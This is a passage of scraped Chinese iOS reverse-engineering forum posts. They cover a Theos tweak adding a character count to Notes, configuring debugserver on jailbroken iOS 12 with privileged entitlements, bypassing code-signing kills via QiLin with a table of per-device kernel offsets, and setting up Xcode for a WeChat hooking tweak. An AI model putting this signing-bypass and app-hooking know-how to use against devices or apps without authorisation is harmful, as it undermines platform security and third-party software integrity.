\"iOS\\U5907\\U5fd8\\U5f55\\U60f3\\U5fc5\\U662f\\U679c\\U7c89\\U6700\\U719f\\U6089\\U7684app\\U4e4b\\U4e00\";\n    thumbnailAttachmentIdentifier = nil;\n    title = \"\\U5b9e\\U6218\\U5907\\U5fd8\\U5f55\";\n    unappliedEncryptedRecord = nil;\n    userSpecificServerRecord = nil;\n    zoneOwnerName = nil;\n})"
cy# ict.note.noteData
#"<ICNoteData: 0x1742c5a90> (entity: ICNoteData; id: 0xd000000000080006 <x-coredata://4277D251-A868-4E71-BC72-C0449A57CDC1/ICNoteData/p2> ; data: {\n    cryptoInitializationVector = nil;\n    cryptoTag = nil;\n    data = <1f8b0800 00000000 00034d93 4b6bd450 14c77373 6fc6dbdb 69e74c5a c79a3a1a a7b5a663 153f8120 d69d20c5 4fa0a2d2 8d74>;\n    note = \"0xd000000000140000 <x-coredata://4277D251-A868-4E71-BC72-C0449A57CDC1/ICNote/p5>\";\n})"

3. 寻找实时监测数据数据变化的方法

直接用logfiy跟踪,发现其在初始化时会执行loadView 和 layoutManager方法,loadView执行之后,界面的view应该时初始化好了,并且每一次修改内容时也会调用 layoutManager,就想着在这两个方法上做文章,loadView 创建label ,layoutManager 计算字数

使用IDA找到这两个方法的,并且在layoutManager方法基地址上下断点

(lldb) image list -f -o
[  0] /Applications/MobileNotes.app/MobileNotes 0x00000000000fc000(0x00000001000fc000)
(lldb) br s -a 0x1001CB170
Breakpoint 2: where = MobileNotes`_mh_execute_header + 837984, address = 0x00000001001cb170
Process 1005 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
    frame #0: 0x00000001001cb170 MobileNotes`_mh_execute_header + 848240
MobileNotes`_mh_execute_header:
->  0x1001cb170 <+848240>: stp    x22, x21, [sp, #-0x30]!
    0x1001cb174 <+848244>: stp    x20, x19, [sp, #0x10]
    0x1001cb178 <+848248>: stp    x29, x30, [sp, #0x20]
    0x1001cb17c <+848252>: add    x29, sp, #0x20            ; =0x20 
Target 0: (MobileNotes) stopped.
(lldb) po $x0
<ICTextViewController: 0x121ec8850>

(lldb) po [$x0 textView]
<ICTextView: 0x122189000; baseClass = UITextView; frame = (0 0; 0 0); text = '实战备忘录
iOS备忘录想必是果粉最熟悉的app之...'; clipsToBounds = YES; gestureRecognizers = <NSArray: 0x174444b60>; layer = <CALayer: 0x174225d60>; contentOffset: {0, 8}; contentSize: {0, 61}>

(lldb) po [[$x0 textView] text]
实战备忘录
iOS备忘录想必是果粉最熟悉的app之一 

LayoutManager 方法中可以获取到控制器,并且可以访问到数据

4.整理结果,编写代码

构造类对应的头文件

Characount.h

@interface ICTextView : UITextView

@end

@interface ICTextViewController:UIViewController

@property(readonly, nonatomic) ICTextView *textView;

@end

编写 Tweak.xm


#import <CoreGraphics/CGGeometry.h>
#import "Characount.h"
%hook ICTextViewController

- (id *)layoutManager { 

	%log; 
	
	NSString *content=self.textView.text;
	NSString *contentLength=[NSString stringWithFormat:@"%lu",(unsigned long)[content length]];
	NSLog(@"contentLength:%@",contentLength);

	UILabel *lb =(UILabel *)[self.textView viewWithTag:1000];
	lb.text=contentLength;

	id * r = %orig;
	return r; 
}
- (void)loadView {

	%log; 

	%orig; 

	
	UILabel *lb=[[[UILabel alloc] initWithFrame:CGRectMake(265,0,50,20)] autorelease];
	
	lb.tag=1000;

	[self.textView addSubview:lb];

}

%end

5. 最终效果

image

Posts: 7

Participants: 3

Read full topic

iOS12 下配置debugserver + lldb调试环境的小技巧和问题处理

$
0
0

@lemon4ex wrote:

越狱设备使用 debugserver + lldb 进行动态调试的环境配置请参考狗神的文章:一步一步用debugserver + lldb代替gdb进行动态调试,这里就不再馈述。

本文只有两个目的:

  1. 说一下在iOS12系统下搭建调试环境时使用的一些不一样的操作。
  2. 提供一些iOS12系统下调试时遇到的问题的解决方法。

这里只针对iOS12iOS11的设备已经压箱底了😂),是对自己折腾过程的一点总结,希望对坛友有一些帮助。

一、配置 debugserver

如果设备是使用unc0ver越狱的(还有其他越狱工具?),那么越狱工具的作者@Pwn20wnd已经把拷贝debugserver到设备的过程写成了一个脚本,路径为/usr/local/bin/debugserver

ssh到设备中,输入debugserver其实就是调用这个脚本文件。这个脚本文件的内容可以看下,大概就是判断设备是否挂载了开发工具,如果挂载并且本地文件/usr/bin/debugserver不存在,那么就会执行签名+拷贝动作,将/Developer/usr/bin/debugserver使用/usr/share/entitlements/debugserver.xml文件签名,然后复制到/usr/bin/debugserver。有了这个脚本,可以省掉很多麻烦。

需要注意的是,/usr/share/entitlements/debugserver.xml的内容其实有点问题,需要调整,否则使用这个权限文件签名后的debugserver会有各种奇怪问题,文件原内容(随着越狱作者的更新,文件内容可能不一样):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.springboard.debugapplications</key>
    <true/>
    <key>com.apple.backboardd.launchapplications</key>
    <true/>
    <key>com.apple.backboardd.debugapplications</key>
    <true/>
    <key>com.apple.frontboard.launchapplications</key>
    <true/>
    <key>com.apple.frontboard.debugapplications</key>
    <true/>
    <key>run-unsigned-code</key>
    <true/>
    <key>seatbelt-profiles</key>
    <array>
        <string>debugserver</string>
    </array>
    <key>com.apple.diagnosticd.diagnostic</key>
    <true/>
    <key>com.apple.security.network.server</key>
    <true/>
    <key>com.apple.security.network.client</key>
    <true/>
    <key>com.apple.private.memorystatus</key>
    <true/>
    <key>com.apple.private.cs.debugger</key>
    <true/>
</dict>
</plist>

需要修改成:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.backboardd.debugapplications</key>
    <true/>
    <key>com.apple.backboardd.launchapplications</key>
    <true/>
    <key>com.apple.frontboard.debugapplications</key>
    <true/>
    <key>com.apple.frontboard.launchapplications</key>
    <true/>
    <key>com.apple.springboard.debugapplications</key>
    <true/>
    <key>com.apple.system-task-ports</key>
    <true/>
    <key>get-task-allow</key>
    <true/>
    <key>platform-application</key>
    <true/>
    <key>run-unsigned-code</key>
    <true/>
    <key>task_for_pid-allow</key>
    <true/>
</dict>
</plist>

在iOS12上,任何命令行程序要想成功运行,不出现kill:9,除了使用ldid签名以外,还需要在权限文件中增加以下权限

<key>platform-application</key>
<true/>

修改后,手动删除/usr/bin/debugserver,然后重新执行debugserver即可安装好debugserver

iPhone-7:~ root# rm /usr/bin/debugserver
iPhone-7:~ root# debugserver

二、解决各种奇怪问题

按照上面的流程配置好debugserver后,执行调试时,可能出现以下问题。

1. failed to attach to process named: “”

iPhone-7:~ root# debugserver localhost:1111 -a UCWEB
debugserver-@(#)PROGRAM:LLDB  PROJECT:lldb-900.3.85
 for arm64.
Attaching to process UCWEB...
error: failed to attach to process named: ""
Exiting.

错误信息说的很清楚了,就是找不到名字叫UCWEB的进程。尝试启动UCWEB后再执行命令即可。

2. Failed to get connection from a remote gdb process

iPhone-7:~ root# debugserver 127.0.0.1:1111 -a UCWEB
debugserver-@(#)PROGRAM:LLDB  PROJECT:lldb-900.3.85
 for arm64.
Attaching to process UCWEB...
Listening to port 1111 for a connection from localhost...
Failed to get connection from a remote gdb process.
Exiting.

解决方案:

  1. USB连接可能不稳定,重新插拔一下。
  2. 设备上可能已经有一个进程占用了端口1111,导致无法连接(最常见的是有一个debugserver正在运行),这种情况下,直接ps -e看下是否有debugserver已经在运行,是的话就使用命令结束它killall -9 debugserver,或者直接尝试换一个调试端口。
  3. 可能是你签名debugserver的权限文件中包含以下权限导致
    <key>com.apple.security.network.server</key>
    <true/>
    <key>com.apple.security.network.client</key>
    <true/>
    <key>seatbelt-profiles</key>
    <array>
        <string>debugserver</string>
    </array>

我不确定,不过权限文件最好是和我上面配置debugserver时的文件内容一致,至少我使用上面的权限签名后没有出现这个问题。

3. rejecting incoming connection from ::ffff:127.0.0.1

iPhone-7:~ root# debugserver *:1111 -a WeChat
debugserver-@(#)PROGRAM:LLDB  PROJECT:lldb-900.3.57..2
 for arm64.
Attaching to process WeChat...
Listening to port 1111 for a connection from *...
error: rejecting incoming connection from ::ffff:127.0.0.1 (expecting ::1)

这种情况偶尔会出现,不知道是什么原因,解决办法是指定使用ipv4地址

手机端:

iPhone-7:~ root# debugserver 127.0.0.1:1111 -a WeChat

电脑端:

(lldb) process connect connect://127.0.0.1:1111

4. Terminated due to code signing error

调试时,进程自动退出,并且提示签名错误。

(lldb) c
Process 9295 resuming
Process 9295 exited with status = 0 (0x00000000) Terminated due to code signing error

这个问题在iOS12上应该普遍存在吧?不知道为毛没人提问?难道只有我人品这么好?

这个是签名问题,可以使用大神@Morpheus______写的QiLin(麒麟)工具来绕过,他写了一篇文章来说明如何使用工具来解决这个问题,可以参考一下,文章针对的是iOS11的越狱设备。

我根据他的文章+ToolKit+思路,写了一个简单的可执行程序debugserverXII来帮助解决签名错误的问题,经过测试(iPhone7,iPhone9,1,iOS12.0),工作良好。

到目前为止,QiLin(麒麟)ToolKit默认只支持如下设备和系统,原文地址

//iOS 12.1.2 - iPhone X
{ "12.1.1", "iPhone11,2", "D331AP", "_kernproc", 0xfffffff00913c638},
{ "12.1.2", "iPhone11,6", "D331AP", "_kernproc", 0xfffffff00913c638},
{ "12.1.1", "iPhone11,6", "D331AP", "_kernproc", 0xfffffff00913c638},


{ "12.1.1", "iPhone10,6", "D221AP", "_rootvnode", 0xfffffff0076660c0},
{ "12.1.2", "iPhone10,6", "D221AP", "_kernproc", 0xfffffff0076660d8},

//iOS 12.1.1 - iPhone X
{ "12.1.1", "iPhone10,6", "D221AP", "_rootvnode", 0xfffffff0076660c0},
{ "12.1.1", "iPhone10,6", "D221AP", "_kernproc", 0xfffffff0076660d8},
//iOS 12.1 - iPhone X
{ "12.1", "iPhone10,6", "D221AP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.1", "iPhone10,6", "D221AP", "_kernproc", 0xfffffff00766a0d8},
//iOS 12.0.1 - iPhone X
{ "12.0.1", "iPhone10,6", "D221AP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.0.1", "iPhone10,6", "D221AP", "_kernproc", 0xfffffff00766a0d8},
//iOS 12.0 - iPhone X
{ "12.0", "iPhone10,6", "D221AP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.0", "iPhone10,6", "D221AP", "_kernproc", 0xfffffff00766a0d8},

//iOS 12.1.2 - iPhone 8 Plus
{ "12.1.2", "iPhone10,5", "D211AP", "_rootvnode", 0xfffffff0076660c0},
{ "12.1.2", "iPhone10,5", "D211AP", "_kernproc", 0xfffffff0076660d8},
{ "12.1.2", "iPhone10,5", "D211AAP", "_rootvnode", 0xfffffff0076660c0},
{ "12.1.2", "iPhone10,5", "D211AAP", "_kernproc", 0xfffffff0076660d8},
//iOS 12.1.1 - iPhone 8 Plus
{ "12.1.1", "iPhone10,5", "D211AP", "_rootvnode", 0xfffffff0076660c0},
{ "12.1.1", "iPhone10,5", "D211AP", "_kernproc", 0xfffffff0076660d8},
{ "12.1.1", "iPhone10,5", "D211AAP", "_rootvnode", 0xfffffff0076660c0},
{ "12.1.1", "iPhone10,5", "D211AAP", "_kernproc", 0xfffffff0076660d8},
//iOS 12.1 - iPhone 8 Plus
{ "12.1", "iPhone10,5", "D211AP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.1", "iPhone10,5", "D211AP", "_kernproc", 0xfffffff00766a0d8},
{ "12.1", "iPhone10,5", "D211AAP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.1", "iPhone10,5", "D211AAP", "_kernproc", 0xfffffff00766a0d8},
//iOS 12.0.1 - iPhone 8 Plus
{ "12.0.1", "iPhone10,5", "D211AP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.0.1", "iPhone10,5", "D211AP", "_kernproc", 0xfffffff00766a0d8},
{ "12.0.1", "iPhone10,5", "D211AAP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.0.1", "iPhone10,5", "D211AAP", "_kernproc", 0xfffffff00766a0d8},
//iOS 12.0 - iPhone 8 Plus
{ "12.0", "iPhone10,5", "D211AP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.0", "iPhone10,5", "D211AP", "_kernproc", 0xfffffff00766a0d8},
{ "12.0", "iPhone10,5", "D211AAP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.0", "iPhone10,5", "D211AAP", "_kernproc", 0xfffffff00766a0d8},


//iOS 12.1.2 - iPhone 8
{ "12.1.2", "iPhone10,4", "D201AP", "_rootvnode", 0xfffffff0076660c0},
{ "12.1.2", "iPhone10,4", "D201AP", "_kernproc", 0xfffffff0076660d8},
{ "12.1.2", "iPhone10,4", "D201AAP", "_rootvnode", 0xfffffff0076660c0},
{ "12.1.2", "iPhone10,4", "D201AAP", "_kernproc", 0xfffffff0076660d8},
//iOS 12.1.1 - iPhone 8
{ "12.1.1", "iPhone10,4", "D201AP", "_rootvnode", 0xfffffff0076660c0},
{ "12.1.1", "iPhone10,4", "D201AP", "_kernproc", 0xfffffff0076660d8},
{ "12.1.1", "iPhone10,4", "D201AAP", "_rootvnode", 0xfffffff0076660c0},
{ "12.1.1", "iPhone10,4", "D201AAP", "_kernproc", 0xfffffff0076660d8},
//iOS 12.0.1 - iPhone 8
{ "12.0.1", "iPhone10,4", "D201AP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.0.1", "iPhone10,4", "D201AP", "_kernproc", 0xfffffff00766a0d8},
{ "12.0.1", "iPhone10,4", "D201AAP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.0.1", "iPhone10,4", "D201AAP", "_kernproc", 0xfffffff00766a0d8},
//iOS 12.0 - iPhone 8
{ "12.0", "iPhone10,4", "D201AP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.0", "iPhone10,4", "D201AP", "_kernproc", 0xfffffff00766a0d8},
{ "12.0", "iPhone10,4", "D201AAP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.0", "iPhone10,4", "D201AAP", "_kernproc", 0xfffffff00766a0d8},


//iOS 12.1.2 - iPhone X
{ "12.1.2", "iPhone10,3", "D22AP", "_rootvnode", 0xfffffff0076660c0},
{ "12.1.2", "iPhone10,3", "D22AP", "_kernproc", 0xfffffff0076660d8},
//iOS 12.1.1 - iPhone X
{ "12.1.1", "iPhone10,3", "D22AP", "_rootvnode", 0xfffffff0076660c0},
{ "12.1.1", "iPhone10,3", "D22AP", "_kernproc", 0xfffffff0076660d8},
//iOS 12.1 - iPhone X
{ "12.1", "iPhone10,3", "D22AP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.1", "iPhone10,3", "D22AP", "_kernproc", 0xfffffff00766a0d8},
//iOS 12.0.1 - iPhone X
{ "12.0.1", "iPhone10,3", "D22AP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.0.1", "iPhone10,3", "D22AP", "_kernproc", 0xfffffff00766a0d8},
//iOS 12.0 - iPhone X
{ "12.0", "iPhone10,3", "D22AP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.0", "iPhone10,3", "D22AP", "_kernproc", 0xfffffff00766a0d8},


//iOS 12.1.2 - iPhone 8 Plus
{ "12.1.2", "iPhone10,2", "D21AP", "_rootvnode", 0xfffffff0076660c0},
{ "12.1.2", "iPhone10,2", "D21AP", "_kernproc", 0xfffffff0076660d8},

{ "12.1.2", "iPhone10,2", "D21AAP", "_rootvnode", 0xfffffff0076660c0},
{ "12.1.2", "iPhone10,2", "D21AAP", "_kernproc", 0xfffffff0076660d8},
//iOS 12.1.1 - iPhone 8 Plus
{ "12.1.1", "iPhone10,2", "D21AP", "_rootvnode", 0xfffffff0076660c0},
{ "12.1.1", "iPhone10,2", "D21AP", "_kernproc", 0xfffffff0076660d8},
{ "12.1.1", "iPhone10,2", "D21AAP", "_rootvnode", 0xfffffff0076660c0},
{ "12.1.1", "iPhone10,2", "D21AAP", "_kernproc", 0xfffffff0076660d8},
//iOS 12.1 - iPhone 8 Plus
{ "12.1", "iPhone10,2", "D21AP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.1", "iPhone10,2", "D21AP", "_kernproc", 0xfffffff00766a0d8},
{ "12.1", "iPhone10,2", "D21AAP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.1", "iPhone10,2", "D21AAP", "_kernproc", 0xfffffff00766a0d8},
//iOS 12.0.1 - iPhone 8 Plus
{ "12.0.1", "iPhone10,2", "D21AP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.0.1", "iPhone10,2", "D21AP", "_kernproc", 0xfffffff00766a0d8},
{ "12.0.1", "iPhone10,2", "D21AAP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.0.1", "iPhone10,2", "D21AAP", "_kernproc", 0xfffffff00766a0d8},
//iOS 12.0.1 - iPhone 8 Plus
{ "12.0", "iPhone10,2", "D21AP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.0", "iPhone10,2", "D21AP", "_kernproc", 0xfffffff00766a0d8},
{ "12.0", "iPhone10,2", "D21AAP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.0", "iPhone10,2", "D21AAP", "_kernproc", 0xfffffff00766a0d8},


//iOS 12.1.2 - iPhone 8
{ "12.1.2", "iPhone10,1", "D20AP", "_rootvnode", 0xfffffff0076660c0},
{ "12.1.2", "iPhone10,1", "D20AP", "_kernproc", 0xfffffff0076660d8},
{ "12.1.2", "iPhone10,1", "D20AAP", "_rootvnode", 0xfffffff0076660c0},
{ "12.1.2", "iPhone10,1", "D20AAP", "_kernproc", 0xfffffff0076660d8},
//iOS 12.1.1 - iPhone 8
{ "12.1.1", "iPhone10,1", "D20AP", "_rootvnode", 0xfffffff0076660c0},
{ "12.1.1", "iPhone10,1", "D20AP", "_kernproc", 0xfffffff0076660d8},
{ "12.1.1", "iPhone10,1", "D20AAP", "_rootvnode", 0xfffffff0076660c0},
{ "12.1.1", "iPhone10,1", "D20AAP", "_kernproc", 0xfffffff0076660d8},
//iOS 12.1 - iPhone 8
{ "12.1", "iPhone10,1", "D20AP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.1", "iPhone10,1", "D20AP", "_kernproc", 0xfffffff00766a0d8},
{ "12.1", "iPhone10,1", "D20AAP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.1", "iPhone10,1", "D20AAP", "_kernproc", 0xfffffff00766a0d8},
//iOS 12.0.1 - iPhone 8
{ "12.0.1", "iPhone10,1", "D20AP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.0.1", "iPhone10,1", "D20AP", "_kernproc", 0xfffffff00766a0d8},
{ "12.0.1", "iPhone10,1", "D20AAP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.0.1", "iPhone10,1", "D20AAP", "_kernproc", 0xfffffff00766a0d8},
//iOS 12.0 - iPhone 8
{ "12.0", "iPhone10,1", "D20AP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.0", "iPhone10,1", "D20AP", "_kernproc", 0xfffffff00766a0d8},
{ "12.0", "iPhone10,1", "D20AAP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.0", "iPhone10,1", "D20AAP", "_kernproc", 0xfffffff00766a0d8},


//iOS 12.1.2 - iPhone 7 Plus
{ "12.1.2", "iPhone9,4", "D111AP", "_rootvnode", 0xfffffff0076420b8},
{ "12.1.2", "iPhone9,4", "D111AP", "_kernproc", 0xfffffff0076420d0},
//iOS 12.1.1 - iPhone 7 Plus
{ "12.1.1", "iPhone9,4", "D111AP", "_rootvnode", 0xfffffff0076420b8},
{ "12.1.1", "iPhone9,4", "D111AP", "_kernproc", 0xfffffff0076420d0},
//iOS 12.1 - iPhone 7 Plus
{ "12.1", "iPhone9,4", "D111AP", "_rootvnode", 0xfffffff0076420b8},
{ "12.1", "iPhone9,4", "D111AP", "_kernproc", 0xfffffff0076420d0},
//iOS 12.0.1 - iPhone 7 Plus
{ "12.0.1", "iPhone9,4", "D111AP", "_rootvnode", 0xfffffff0076420b8},
{ "12.0.1", "iPhone9,4", "D111AP", "_kernproc", 0xfffffff0076420d0},
//iOS 12.0 - iPhone 7 Plus
{ "12.0", "iPhone9,4", "D111AP", "_rootvnode", 0xfffffff0076420b8},
{ "12.0", "iPhone9,4", "D111AP", "_kernproc", 0xfffffff0076420d0},


//iOS 12.1.2 - iPhone 7
{ "12.1.2", "iPhone9,3", "D101AP", "_rootvnode", 0xfffffff0076420b8},
{ "12.1.2", "iPhone9,3", "D101AP", "_kernproc", 0xfffffff0076420d0},
//iOS 12.1 - iPhone 7
{ "12.1", "iPhone9,3", "D101AP", "_rootvnode", 0xfffffff00766a0c0},
{ "12.1", "iPhone9,3", "D101AP", "_kernproc", 0xfffffff0076420d0},
//iOS 12.1.1 - iPhone 7
{ "12.1.1", "iPhone9,3", "D101AP", "_rootvnode", 0xfffffff0076420b8},
{ "12.1.1", "iPhone9,3", "D101AP", "_kernproc", 0xfffffff0076420d0},
//iOS 12.0.1 - iPhone 7
{ "12.0.1", "iPhone9,3", "D101AP", "_rootvnode", 0xfffffff0076420b8},
{ "12.0.1", "iPhone9,3", "D101AP", "_kernproc", 0xfffffff0076420d0},
//iOS 12.0 - iPhone 7
{ "12.0", "iPhone9,3", "D101AP", "_rootvnode", 0xfffffff0076420b8},
{ "12.0", "iPhone9,3", "D101AP", "_kernproc", 0xfffffff0076420d0},


//iOS 12.1.2 - iPhone 7 Plus
{ "12.1.2", "iPhone9,2", "D11AP", "_rootvnode", 0xfffffff0076420b8},
{ "12.1.2", "iPhone9,2", "D11AP", "_kernproc", 0xfffffff0076420d0},
//iOS 12.1.1 - iPhone 7 Plus
{ "12.1.1", "iPhone9,2", "D11AP", "_rootvnode", 0xfffffff0076420b8},
{ "12.1.1", "iPhone9,2", "D11AP", "_kernproc", 0xfffffff0076420d0},
//iOS 12.1 - iPhone 7 Plus
{ "12.1", "iPhone9,2", "D11AP", "_rootvnode", 0xfffffff0076420b8},
{ "12.1", "iPhone9,2", "D11AP", "_kernproc", 0xfffffff0076420d0},
//iOS 12.0.1 - iPhone 7 Plus
{ "12.0.1", "iPhone9,2", "D11AP", "_rootvnode", 0xfffffff0076420b8},
{ "12.0.1", "iPhone9,2", "D11AP", "_kernproc", 0xfffffff0076420d0},
//iOS 12.0 - iPhone 7 Plus
{ "12.0", "iPhone9,2", "D11AP", "_rootvnode", 0xfffffff0076420b8},
{ "12.0", "iPhone9,2", "D11AP", "_kernproc", 0xfffffff0076420d0},


//iOS 12.1.2 - iPhone 7
{ "12.1.2", "iPhone9,1", "D10AP", "_rootvnode", 0xfffffff0076420b8},
{ "12.1.2", "iPhone9,1", "D10AP", "_kernproc", 0xfffffff0076420d0},
//iOS 12.1.1 - iPhone 7
{ "12.1.1", "iPhone9,1", "D10AP", "_rootvnode", 0xfffffff0076420b8},
{ "12.1.1", "iPhone9,1", "D10AP", "_kernproc", 0xfffffff0076420d0},
//iOS 12.1 - iPhone 7
{ "12.1", "iPhone9,1", "D10AP", "_rootvnode", 0xfffffff0076420b8},
{ "12.1", "iPhone9,1", "D10AP", "_kernproc", 0xfffffff0076420d0},
//iOS 12.0.1 - iPhone 7
{ "12.0.1", "iPhone9,1", "D10AP", "_rootvnode", 0xfffffff0076420b8},
{ "12.0.1", "iPhone9,1", "D10AP", "_kernproc", 0xfffffff0076420d0},
//iOS 12.0 - iPhone 7
{ "12.0", "iPhone9,1", "D10AP", "_rootvnode", 0xfffffff0076420b8},
{ "12.0", "iPhone9,1", "D10AP", "_kernproc", 0xfffffff0076420d0},


//iOS 12.1.2 - iPhone SE
{ "12.1.2", "iPhone8,4", "N69AP", "_rootvnode", 0xfffffff0076020b8},
{ "12.1.2", "iPhone8,4", "N69AP", "_kernproc", 0xfffffff0076020d0},
{ "12.1.2", "iPhone8,4", "N69uAP", "_rootvnode", 0xfffffff0076020b8},
{ "12.1.2", "iPhone8,4", "N69uAP", "_kernproc", 0xfffffff0076020d0},
//iOS 12.1.1 - iPhone SE
{ "12.1.1", "iPhone8,4", "N69AP", "_rootvnode", 0xfffffff0076020b8},
{ "12.1.1", "iPhone8,4", "N69AP", "_kernproc", 0xfffffff0076020d0}, 
{ "12.1.1", "iPhone8,4", "N69uAP", "_rootvnode", 0xfffffff0076020b8},
{ "12.1.1", "iPhone8,4", "N69uAP", "_kernproc", 0xfffffff0076020d0}, 
//iOS 12.1 - iPhone SE
{ "12.1", "iPhone8,4", "N69AP", "_rootvnode", 0xfffffff0076020b8}, 
{ "12.1", "iPhone8,4", "N69AP", "_kernproc", 0xfffffff0076020d0},
{ "12.1", "iPhone8,4", "N69uAP", "_rootvnode", 0xfffffff0076020b8}, 
{ "12.1", "iPhone8,4", "N69uAP", "_kernproc", 0xfffffff0076020d0},
//iOS 12.0.1 - iPhone SE
{ "12.0.1", "iPhone8,4", "N69AP", "_rootvnode", 0xfffffff0076020b8},
{ "12.0.1", "iPhone8,4", "N69AP", "_kernproc", 0xfffffff0076020d0},
{ "12.0.1", "iPhone8,4", "N69uAP", "_rootvnode", 0xfffffff0076020b8},
{ "12.0.1", "iPhone8,4", "N69uAP", "_kernproc", 0xfffffff0076020d0},
//iOS 12.0 - iPhone SE
{ "12.0", "iPhone8,4", "N69AP", "_rootvnode", 0xfffffff0076020b8},
{ "12.0", "iPhone8,4", "N69AP", "_kernproc", 0xfffffff0076020d0},
{ "12.0", "iPhone8,4", "N69uAP", "_rootvnode", 0xfffffff0076020b8},
{ "12.0", "iPhone8,4", "N69uAP", "_kernproc", 0xfffffff0076020d0},

如果需要支持自己手中的设备,要么直接联系作者添加支持,要么就使用jtool2获取到自己设备对应内核的_kernproc函数地址,然后代码中调用void setKernelSymbol (char *Symbol, uint64_t Address);来设定符号_kernproc

三、其他疑问

1. 直接用/Developer/usr/bin/debugserver拷贝到设备就可以调试,何必自己修改权限并且重签?

我的理解是,直接拷贝或者直接用xcode进行附加调试应用只能调试用户层的app,系统层的app没办法调试,比如SpringBoard,如果想调试系统级应用,就不能偷懒。

Posts: 1

Participants: 1

Read full topic

如何搭建超级好用的Tweak逆向工程

$
0
0

@leaveslife wrote:

在创建一个逆向工程项目时,如何让工程使用起来更加便捷和易于扩展,以及编译器识别,能够大大提升我们日常的开发效率以及代码的质量。本文主要描述了,如果使用Theos的tweak工程,创建一个可以被Xcode编译器识别的项目工程,以及工程中常用的配置。

搭建逆向环境

搭建好环境之后,创建对应的tweak工程项目

创建Xcode项目

根据前面创建好的tweak项目名称,创建一个Xcode静态库项目,然后将tweak和创建的Xcode项目混合到一起

在Xcode项目里面创建一个Config文件夹(New Group Without Folder),将Makefile、对应的plist文件、control配置文件,不要copy放到此目录下。 然后在Xcode里面,创建对应的文件夹,然后将生成的.xm文件的后缀名,全部替换为.xmi ,并且放到项目的最外层,作为唯一的入口类

设置Tweak.xmi在Xcode编译器识别类型为Objective-C++

设置XcodeTheos头文件,让编译器识别logos语法,对应的头文件的地址:https://github.com/onezens/Xcode-Theos,导入项目之后,创建一个全局头文件,并且到该头文件放到tweak.xmi里面,发现里面的代码是黑色的,没有被编译器识别,这时候,关闭项目重新打开后发现会被Xcode重新识别了

接着设置XcodeTheos的宏,让Xcode识别logos宏

一起设置好之后,开始写logos的hook代码,一切正常的话,你会发现Xcode写起logos代码超级顺畅,并且编译Xcode提示成功

将Xcode的配置和Makefile进行同步

首先修改Makefile的编译文件
在以后创建对应的logos语法的文件时,始终命名为xmi文件,并且写入Makefile里面

WeChatBot_FILES = Tweak.xm
=> 修改为:
WeChatBot_FILES = Tweak.xmi

在项目中头文件引用路径问题,导致编译失败

➜  WeChatBot git:(master) ✗ make
> Making all for tweak WeChatBot…
==> Preprocessing Tweak.xmi…
Tweak.xmi:2:9: fatal error: 'wechatbot-prefix-header.h' file not found
#import "wechatbot-prefix-header.h"
        ^~~~~~~~~~~~~~~~~~~~~~~~~~~
1 error generated.
make[3]: *** [/Users/wz/Documents/GitHub/WeChatBot/.theos/obj/debug/armv7/Tweak.mii] Error 1
make[2]: *** [/Users/wz/Documents/GitHub/WeChatBot/.theos/obj/debug/armv7/WeChatBot.dylib] Error 2
make[1]: *** [internal-library-all_] Error 2
make: *** [WeChatBot.all.tweak.variables] Error 2

发现是头文件,引入的原因,Makefile里面设置头文件目录

#头文件
WeChatBot_OBJCFLAGS += -I./WeChatBot/Headers/wechatHeaders/ 
WeChatBot_OBJCFLAGS += -I./WeChatBot/Headers/

如果使用最新版的theos,我们会发现编译.xmi 文件会包下面的错误

➜  WeChatBot git:(master) ✗ make
> Making all for tweak WeChatBot…
==> Preprocessing Tweak.xmi…
==> Compiling Tweak.xmi (arm64)…
Tweak.xmi:18:104: error: use of undeclared identifier 'MSHookMessageEx'
{Class _logos_class$_ungrouped$MicroMessengerAppDelegate = objc_getClass("MicroMessengerAppDelegate"); MSHookMessageEx(_logos_class$_ungro...
                                                                                                       ^
1 error generated.
make[3]: *** [/Users/wz/Documents/GitHub/WeChatBot/.theos/obj/debug/arm64/Tweak.xmi.ca6fefe9.o] Error 1
make[2]: *** [/Users/wz/Documents/GitHub/WeChatBot/.theos/obj/debug/arm64/WeChatBot.dylib] Error 2
make[1]: *** [internal-library-all_] Error 2
make: *** [WeChatBot.all.tweak.variables] Error 2

解决办法:

  1. 将所有的.xmi更改为.xi文件, 并且导入头文件 #include <substrate.h>
  2. 使用老版本的theos: https://github.com/onezens/theos.git 替换原版进行编译

解决编译警告,导致报错的问题

➜  WeChatBot git:(master) ✗ make
> Making all for tweak WeChatBot…
==> Preprocessing Tweak.xmi…
==> Compiling Tweak.xmi (arm64)…
